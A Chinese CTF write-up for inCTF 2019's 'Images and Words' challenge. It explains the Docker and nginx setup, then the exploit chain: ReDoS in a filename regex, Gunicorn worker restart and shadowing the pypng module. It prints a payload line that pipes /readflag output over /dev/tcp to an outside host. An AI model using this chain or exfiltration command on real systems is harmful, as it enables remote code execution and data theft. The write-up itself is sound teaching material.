前言
2019inCTF的images-and-words的环境搭建到题目的解决的详细过程。
0x01 题目的结构和题解的脚本的存放的位置如下:
0x02 下面我们从文件的最上面的那个目录开始逐个分析
0x001 flag
目录存放了flag.txt
文件和readflag
的二进制文件,这个题的最终目标就是去执行这个二进制文件拿到flag.txt
文件的内容。
0x002 nginx
目录存放的是题目所使用的服务器的配置文件。
nginx
目录中的default
文件存放的是一个http的模块,http模块从外到内有http块、server块、location块,同时各个模块有各自的属性元素。而这个文件存放的就是一个server
模块,内容如下:
1 | server { |
下面对上面的文件进行解释:
listen 80;
就是监听80
端口。
server_name _
我也不太清楚。
第一个location
是url的匹配,其中的include proxy_params;
和proxy_pass http://unix:/home/zeus/sock/server.sock;
表示代理的地址和参数。
第二个location
的正则表达式匹配任何以/([a-zA-Z0-9_-]+)/开头的
地址若采用这一条,就不会在向下搜索了,其中的rewrite
是地址的重定向。例如一个地址http://www.jianshu.com/users/1000
重写成http://www.jianshu.com/users/10001
。
nginx
中的nginx.conf
是其他几个模块的配置内容如下:
1 | user www-data www-data; |
user www-data www-data;
定义拥有和运行nginx
服务的linux系统用户(用户和用户组)。
worker_processes auto;
worker_processes定义了nginx对外提供web服务时的worder进程数。最优值取决于许多因素,包括(但不限于)CPU核的数量、存储数据的硬盘数量及负载模式。不能确定的时候,将其设置为可用的CPU内核数将是一个好的开始(设置为”auto”将尝试自动检测它)。
pid /run/nginx.pid;
nginx的默认配置,用来存放nginx的master进程的进程号。
include /etc/nginx/modules-enabled/*.conf;
include只是一个在当前文件中包含另一个文件内容的指令。这里我们使用它来加载稍后会用到的一系列的.conf文件。
events { worker_connections 768;}
worker_connections设置可由一个worker进程同时打开的最大连接数。如果设置了worker_rlimit_nofile
,我们可以将这个值设得很高。记住,最大客户数也由系统的可用socket连接数限制(~ 64K),所以设置不切实际的高没什么好处。
下面是http
由于上面已经贴了代码那么我就直接分析了。
sendfile
可以让sendfile()发挥作用。sendfile()可以在磁盘和TCP socket之间互相拷贝数据(或任意两个文件描述符)。Pre-sendfile是传送数据之前在用户空间申请数据缓冲区。之后用read()将数据从文件拷贝到这个缓冲区,write()将缓冲区数据写入网络。sendfile()是立即将数据从磁盘读到OS缓存。因为这种拷贝是在内核完成的,sendfile()要比组合read()和write()以及打开关闭丢弃缓冲更加有效(更多有关于sendfile)
tcp_nopush
告诉nginx在一个数据包里发送所有头文件,而不一个接一个的发送
tcp_nodelay
告诉nginx不要缓存数据,而是一段一段的发送–当需要及时发送数据时,就应该给应用设置这个属性,这样发送一小块数据信息时就不能立即得到返回值。
keepalive_timeout
给客户端分配keep-alive链接超时时间。服务器将在这个超时时间过后关闭链接。我们将它设置低些可以让ngnix持续工作的时间更长。
types_hash_max_size
指定哈希类型表的最大值的大小。
server_tokens
并不会让nginx执行的速度更快,但它可以关闭在错误页面中的nginx版本数字,这样对于安全性是有好处的。
client_max_body_size
定义允许最大的客户端请求头,如果大于该值,那么客户端将会是413(request entity too large)错误。
include
只是一个在当前文件中包含另一个文件内容的指令。这里我们使用它来加载稍后会用到的一系列的MIME类型。
default_type
设置文件使用的默认的文件类型。
ssl_protocols
指令用于启动特定的加密协议,nginx在1.1.13和1.0.12版本后默认是ssl_protocols SSLv3 TLSv1 TLSv1.1 TLSv1.2,TLSv1.1与TLSv1.2要确保OpenSSL >= 1.0.1 ,SSLv3 现在还有很多地方在用但有不少被攻击的漏洞。
ssl_prefer_server_ciphers on
设置协商加密算法时,优先使用我们服务端的加密套件,而不是客户端浏览器的加密套件。
access_log
访问日志主要记录客户端的请求。客户端向Nginx服务器发起的每一次请求都记录在这里。客户端IP,浏览器信息,referer,请求处理时间,请求URL等都可以在访问日志中得到。当然具体要记录哪些信息,你可以通过log_format指令定义。
error_log
设置nginx服务器的错误消息存放的位置,和他的格式。
gzip on
是告诉nginx采用gzip压缩的形式发送数据。这将会减少我们发送的数据量
最后的两个include
包含的文件一般是用来,nginx配置虚拟主机(多个域名多个站),其实也没有什么特别的功能只是模块间的解耦好维护而已。
现在nginx
服务器的基本配置已经完成了。
参考资料
http://nginx.org/en/docs/
https://www.oschina.net/translate/nginx-setup?print
https://weizhimiao.github.io/2016/10/03/Nginx%E9%85%8D%E7%BD%AE%E6%95%B4%E7%90%86/
https://www.jianshu.com/p/78161d89dbc5
https://segmentfault.com/a/1190000002866627
https://www.cnblogs.com/fps2tao/p/9958009.html
https://www.jianshu.com/p/efab29b6c3b0
0x003 privileged-script
目录下存放的是我们创建sandbox
和删除sandbox
的文件,下面我们先来看看它们是怎么写的。
create_sandbox.sh
1 |
|
set -ex
用来使脚本发生错误就会停止执行和在运行结果之前,先输出执行的那一行命令,对调试脚本来说非常有用。
name="$1"
中的$n
是传递给脚本或函数的参数,n
是一个数字,表示第几个参数。例如上面的$1
就是第一个参数。然后将参数赋值给name
。
user="$(echo "$name" | sha256sum | head -c32)"
将输入的第一个参数用哈希256加密成32位的字符串,然后赋值给user
useradd --no-create-home --home-dir / --shell /bin/false "$user"
创建一个不带/home
和其他配置文件的用户。
usermod --append -G "$user" www-data
将用户添加到www-data
组。
nginx -s reload
重启nginx服务器。
cd /home/zeus
进入到/home/zeus
目录。
cp -r app_scaffold "sandbox/$name"
复制app_scaffold
整个文件及其下全部项目到sandbox/$name
目录下。
mkdir "sandbox/$name/png"
创建sandbox/$name/png
文件夹。
chown "$user:$user" "sandbox/$name/png"
改变文件夹的拥有者和群组为上面设置的用户。
chmod 700 "sandbox/$name/png"
设置sandbox/$name/png
文件的拥有者rwx
,其他组和用户组不可读写执行。(chmod u=rwx,g=—,o=— …)
chown "$user:$user" "sandbox/$name/sock"
给这个sandbox/$name/sock
设置上面设置的用户和用户组。因此这个用户可以创建unix socket。
cd "/home/zeus/sandbox/$name"
进行到这个目录。
sudo -H -u "$user" bash run.sh unixsocket &>/dev/null &echo "$!" > server.pid
提升至相应的用户去执行run.sh
把unixsocket
作为参数在后台运行,把shell最后运行的后台Process的PID输入到server.pid
文件中。
下面是remove_sandbox.sh
文件内容如下:
1 |
|
set -x
是在运行出结果之前先输出这条命令。
name="$1"
上面已经介绍了。
user="$(echo "$name" | sha256sum | head -c32)"
同上。
pkill --pidfile "/home/zeus/sandbox/$name/server.pid"
从文件中读取PID。 这个选项对于pkill而言比pgrep更有用。停止这个进程。
rm -rf "/home/zeus/sandbox/$name"
删除这个目录下的全部文件。
pkill -9 --uid "$user"
删除所有的这个$user
下的进程。
userdel -f "$user"
强制删除这个$user
用户(其中$user
是执行这个文件的用户)。
groupdel -f "$user"
强制删除这个$user
用户组。
参考资料
https://www.cnblogs.com/cnland/archive/2013/02/02/2890201.html
https://jacoobwang.github.io/2018/03/01/Bash%E4%B8%ADset%E7%94%A8%E6%B3%95%E5%88%9D%E5%AD%A6/
https://www.cnblogs.com/fhefh/archive/2011/04/15/2017613.html
https://blog.csdn.net/u013197629/article/details/73608613
https://askubuntu.com/questions/29359/how-to-add-a-user-without-home
https://blog.51cto.com/init7/180474
0x003 接下来我们来到zeus
目录,所有的基本的文件都在里面。
app_scaffold
目录中有sock
,config.py
,main.py
,requirements.txt
,run.sh
,text2image.py
。
sock
目录用户存放创建的unix socket
。
config.py
的内容如下:
1 | from pathlib import Path |
上面是一些处理文件的一些基本配置。
main.py
的内容如下:
1 | #!/usr/bin/env python3 |
下面我们开始逐行解释。
DEFAULT_RESPONSE = HTMLResponse('''<h1>Images and Words</h1>Convert text to a png file!<form method="post" enctype="multipart/form-data"><input type="file" name="file"><input type="submit" value="Upload text" name="submit"></form>''')
定义了默认的响应是一个文件的上传。
server = Starlette(debug=config.DEBUG)
表示在发生错误时不返回调试回溯。
config.UPLOAD_DIR.mkdir(mode=0o700, exist_ok=True)
在当前目录下创建config.py
中定义的png
目录。
server.mount('/static', app=StaticFiles(directory=str(config.UPLOAD_DIR)))
定义静态文件服务,静态文件的目录是上面定义的png
目录。
下面是这个sanitize_filename
函数。
- 先打印一下传入的文件名的长度。
- 接下来是一个正则表达式用来匹配符合条件的文件名,但是由于两个匹配符相隔较近因此会有
ReDos
攻击。
大家可以看看这个例子:
1 | function testTime(istr) { |
- 下面就是如果
res
不是None
就返回匹配成功的字符串,如果是None
的话就是返回一个32
位的随机数。
下面是render
函数。
首先获取到png
目录下的指定文件,读取文件到text
中,然后删除该文件,然后又利用text2image.py
将数据转化成png
图片,保存到相同的目录下。
接下来是index
函数。
@server.route('/', methods=['GET', 'POST'])
路由装饰器,设置访问/
时触发的函数。- 对于这个函数,如果请求的方法时
POST
时,等待异步函数执行完成,拿到表达上传的文件数据,如果没有名为file
的文件会默认返回一个预先定义的响应,然后会获取这个文件的文件名,但是这个文件的文件名长度不能超过32
位,超过会截取前32
,然后会读取这个文件内容到data
中但是只能是1024
字节,然后会把这个文件写入到png
目录下,文件名是自己传入的,紧接着会响应一个html
文本。发送完响应后执行render
函数删除文件,将文件数据转换成png
图片保存在相同的目录下。
参考资料
https://juejin.im/post/5965943ff265da6c30653879#heading-21
https://www.cnblogs.com/xiaoduc-org/p/5958973.html
requirements.txt
是整个项目所需的包,写在一起方便执行。
1 | aiofiles==0.4.0 |
run.sh
的内容如下:
1 |
|
如果是unixsocket
就绑定unix:sock/server.sock
地址,否则绑定127.0.0.1:8080
,我们用这个gunicorn
来做WSGI server提高访问的效率,用gunicorn
来管理uvicorn
。具体的启动参数可以查看下面的参考链接。
参考资料
http://xiaorui.cc/2014/11/22/%E7%94%A8gunicorn%E5%92%8Cgevent%E6%8F%90%E9%AB%98python-web%E6%A1%86%E6%9E%B6%E7%9A%84%E6%80%A7%E8%83%BD/
https://www.uvicorn.org/deployment/
text2image.py
的内容如下:
1 | #!/usr/bin/env python3 |
用于将数据(text)转换为rng
图片。
0x004 由于pow
,sandbox
,sock
目录没有文件,见文章开头的第一张图片,因此直接跳过。
下面是zeus
下面的config.py
文件。
1 | #!/usr/bin/env python3 |
它是一些基本的常量,是下面几个文件的基本配置。
下面是powser.py
的内容。
1 | #!/usr/bin/env python3 |
分析已在解释中。
run.sh
的内容如下:
1 |
|
chmod 1733 /dev/shm
给该文件赋予rwx-wx-wx
。
重启nginx
服务器。
进入到/home/zeus
目录。
使用zues
用户来启动unixsocket
服务器,主要用来管理sandbox_main.py
中的异步WSGI server。
sandbox_main.py
的内容。
1 | #!/usr/bin/env python3 |
参考链接
https://docs.python.org/3/library/subprocess.html
0x005 下面是docker-compose的配置文件docker-compose.yml
。
1 | version: "2.2" |
build: ./
会去寻找当前目录下的dockerfile
文件创建docker镜像。
ports: -"8080:80"
将内部的80
端口映射到外网的8080
端口。
hostname: image-and-words
设置主机的域名。
cpus: 2
设置cpus的核数为2。
mem_limit: 2018M
分配的运行内存为2018M
。
memswap_limit: 0M
不设置缓存。
mem_reservation: 1024M
每个容器保留1024M
的运行内存。
shm_size: 32M
分配的磁盘大小为32M
。
对于ulimits
:
nproc: 4096
最大进程数为4096
。fsize: 128000000
。
参考资料
https://blog.csdn.net/qq_36148847/article/details/79427878
下面是Dockerfile
。
1 | FROM ubuntu:18.04 |
FROM ubuntu:18.04
基础镜像是ubuntu:18.04
。
RUN apt update -y
更新可获得的包的列表。
RUN apt upgrade -y
通过下载更新后的包。
RUN chmod 1733 /tmp /var/tmp /dev/shm
设置/tmp
,/var/tmp
,/dev/shm
的rwx-wx-wx
权限。
RUN apt install -y nginx sudo python3 python3-pip psmisc
下载一些常用的工具。
RUN pip3 install starlette uvicorn gunicorn pypng aiofiles python-multipart
通过pip3
来下载项目所需的包。
COPY nginx/default /etc/nginx/sites-available/default
将nginx/default
目录下的nginx配置文件复制到/etc/nginx/sites-available/default
目录下。
COPY nginx/nginx.conf /etc/nginx/nginx.conf
同上。
COPY privileged-script/create_sandbox.sh /usr/bin/
同上。
COPY privileged-script/remove_sandbox.sh /usr/bin/
同上。
RUN chmod 755 /usr/bin/create_sandbox.sh
设置权限为root的rwx-wx-wx
。
RUN chmod 755 /usr/bin/remove_sandbox.sh
同上。
RUN echo '\nzeus ALL=(root)NOPASSWD:/usr/bin/create_sandbox.sh *' >> /etc/sudoers
赋予zeus
执行create_sandbox.sh
时用root权限,并且用sudo时不用输入密码。
RUN echo '\nzeus ALL=(root)NOPASSWD:/usr/bin/remove_sandbox.sh *' >> /etc/sudoers
同上。
RUN useradd --no-create-home --home-dir / --shell /bin/false flag
创建用户flag
不带/home
目录和配置文件。
COPY flag/flag /flag
文件的复制。
COPY flag/readflag /readflag
同上。
RUN chown flag:flag /flag
修改这个目录用户和用户组。
RUN chown flag:flag /readflag
同上。
RUN chmod 400 /flag
修改/flag
文件的权限为文件所有者只读。
RUN chmod 4755 /readflag
chmod 4755与chmod 755 的区别在于开头多了一位,这个4表示其他用户执行文件时,具有与所有者相当的权限。
COPY zeus /home/zeus
复制zeus
目录到/home/zeus
目录下。
RUN useradd --no-create-home --home-dir /home/zeus --shell /bin/false zeus
同理见上面。
RUN usermod --append -G zeus www-data
将用户添加到www-data
用户组中。
RUN chmod 711 /home/zeus/sandbox
同理见上面。
RUN chown zeus:zeus /home/zeus/sock
同理见上面。
RUN chown zeus:zeus /home/zeus/pow
同理见上面。
RUN chmod 700 /home/zeus/pow
同理见上面。
EXPOSE 80/tcp
暴露80
端口协议为传输层的tcp
。
CMD bash /home/zeus/run.sh
运行run.sh
。
参考资料
https://blog.csdn.net/water_cow/article/details/7174881
https://outmanzzq.github.io/2018/09/11/chmod-in-linux/
https://www.linuxea.com/2248.html
https://outmanzzq.github.io/2018/09/11/chmod-in-linux/
0x006 接下来是最重要的目录exploit
整个题目的攻击方法在里面了。
分析这个文件时我们边回顾边分析。
挑战信息:
- 题目:Images and Words
- 类型:Web + Misc
- 描述:无
- 提供的文件:
docker/zeus/app_scaffold
目录下的所有文件。 - 解决: 0/720
环境的搭建
1 | docker-compose build |
Writeup
这个web应用将会把文本渲染成一个PNG图片使用pypng
库。用户能上传一个文本文件到png
目录下。
关键是要确定扩展包的名称png
恰好与上传的目录名称相同。因此如果png
目录存在,import png
将不会导入pypng
,而是将其导入到png
当前的工作目录中。
因此我们可以上传这个python
文件名为__init__.py
:
1 | __import__('os').system('bash -c "/readflag>/dev/tcp/bookgin.tw/80"') |
但是,因为这个web服务器使用Gunicorn
,Gunicorn
使用pre-fork
工作模式来启动线程。因此这个pypng
模块已经被加载了。除非我们手动加载它或者重启这个python进程,否则他将不会导入png
当前工作目录下的文件。
事实上,Gunicorn
将会管理他的worker
进程。如果这个worker
没有响应或者因为某种原因被卡住,则默认情况下它将等待30秒,然后重新启动这个worker
。你会注意到此处的进程id
是不同的。
1 | [2019-10-07 12:36:04 +0800] [23271] [INFO] Starting gunicorn 19.9.0 |
因此我们必须找到一种使服务器卡滞超过30秒的方法。服务器源代码严格的折断文件名和文件内容。nginx
还为上传的文件大小设置了限制1M
。因此上传巨大的文件以使服务器卡住是非常困难的。但是,在此函数中:
1 | def sanitize_filename(dangerous_filename): |
正则表达式容易受到ReDoS
攻击。如果我们有一个名为aaaaaaaaaaaaaaaaaaaaaa!
,则正则表达式将回溯大量的匹配项。你可以在https://regex101.com/r/61PZxD/2中尝试此payload。通过利用这一点,我们可以使Gunicorn
重新启动worker
进程并加载我们的恶意程序png/__init__.py
。
有一点是我们需要注意的是:服务器将会删除这个上传的文件。
1 | def render(filename): |
为了进行利用,我们可以上传一个非UTF-8 python
文件,其中包含explicit declaration of encoding。由于此行with open(src,'r') as f:
没有指定编码,因此它将无法解码为UTF-8
并抛出异常。因此,该文件将不会被删除。比赛条件在这里也应该起作用,但是不稳定。完整的利用在exploit
目录中。
后记
有一天,我在编写一些Python
代码,目录名称恰巧与程序包名称冲突。然后我想到了这个主意。对于Gunicorn
部分,我只需要执行一些过程,这将花费很长时间。ReDoS
(实际上我在USENIX会议上听说过)迅速闪过我的脑海。尽管某些技术似乎对开发没有多大用处,但有时它已成为RCE
链中非常重要的部分。我希望这不是一个精心设计的挑战,希望您喜欢!
最后的payload
__init__.py
:
1 | # coding=Big5 |
gen_init.sh
1 | #!/usr/bin/env bash |
payload.py
:
1 | import hashlib |